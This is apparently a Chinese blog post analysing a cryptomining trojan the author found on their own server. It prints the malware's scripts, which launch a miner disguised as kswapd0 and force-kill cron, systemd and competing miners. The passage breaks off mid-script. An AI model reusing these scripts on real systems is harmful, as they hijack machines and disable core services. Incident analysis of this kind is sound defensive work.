挖矿木马分析之肉鸡竟是我自己

最新推荐文章于 2024-07-31 10:47:30 发布

你永远不了解Thrash的魅力

最新推荐文章于 2024-07-31 10:47:30 发布

阅读量1.4k

点赞数 5

分类专栏： web安全渗透文章标签： docker 网络安全信息安全渗透测试 shell

本文链接：https://blog.csdn.net/Appleteachers/article/details/117259776

版权

之前服务器总是有一些异地登陆的告警信息，用代理就会这样，自己也没太在意。今天偶然间打开一看，发现如下提示！

接下来处理一下！

收集信息

finalshell登陆发现CPU占用率为100%
ps auxw|head -1;ps auxw|sort -rn -k3|head -10 查看CPU占用最多的前10个进程

罪魁祸首是第一个，其PID是3124。ls -ail /proc]/PID查看其绝对路径

.configrc文件内容如下(.configrc的名字是为了把自己和.config文件混淆)

先查看a文件

其中run文件内容如下：

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
        if [ "$ARCH" == "i686" ]; then
                nohup ./anacron >>/dev/null &
        elif [ "$ARCH" == "x86_64" ];   then
                ./kswapd0
        fi #闭合if
echo $! > bash.pid #用来判断run是否执行过

其先执行stop，再执行init0，然后把当前的路径写到dir.dir。根据是86位还是64位，执行不同的程序。

dir.dir内容如下：

/root/.configrc/a

stop内容如下

#!/bin/sh

#cron守护周期性的执行任务
pkill -9 cron
killall -9 cron
kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'`>.proc

#删除自己冒充的对象
pkill -9 kswapd0
killall -9 kswapd0
kill -9 `ps x|grep kswapd0|grep -v grep|awk '{print $1}'`>.proc

#进程管理
pkill -9 systemd
killall -9 systemd
kill -9 `ps x|grep systemd|grep -v grep|awk '{print $1}'`>.proc

#动态链接加载
pkill -9 ld-linux
killall -9 ld-linux
kill -9 `ps x|grep ld-linux|grep -v grep|awk '{print $1}'`>.proc

#权限管理
pkill -9 Donald
killall -9 Donald
kill -9 `ps x|grep Donald|grep -v grep|awk '{print $1}'`>.proc

#与挖矿有关
pkill -9 xmr
killall -9 xmr
kill -9 `ps x|grep xmr|grep -v grep|awk '{print $1}'`>.proc

#服务器杀毒
pkill -9 xm64
killall -9 xm64
kill -9 `ps x|grep xm64|grep -v grep|awk '{print $1}'`>.proc
rm -rf .proc

init0内容如下。这个比较有趣，为了让自己有更多的资源，它先杀掉现有的挖矿进程。我谢谢你啊～

#!/bin/sh

##########################################################################################\
### A script for killing cryptocurrecncy miners in a Linux enviornment
### Provided with zero liability (!)
###
### Some of the malware used as sources for this tool:
### https://pastebin.com/pxc1sXYZ
### https://pastebin.com/jRerGP1u
### SHA256: 2e3e8f980fde5757248e1c72ab8857eb2aea9ef4a37517261a1b013e3dc9e3c4
##########################################################################################\

# Killing processes by name, path, arguments and CPU utilization
processes(){
        killme() {
          killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
        }

        killa() {
        what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
        }

        killa 34e2fg
        killme

        # Killing big CPU
        VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
        for word in $VAR
        do
          CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
          if [ $CPUUSAGE -gt 45 ]; then echo BIG $word; PID=$(echo $word | awk -F":" '{print $1'});LINE=$(ps uwx | grep $PID);COUNT=$(echo $LINE| grep -P "er/v5|34e2|Xtmp|wf32N4|moy5Me|ssh"|wc -l);if [ $COUNT -eq 0 ]; then echo KILLING $line; fi;kill $PID;fi;
        done

        killall \.Historys
        killall \.sshd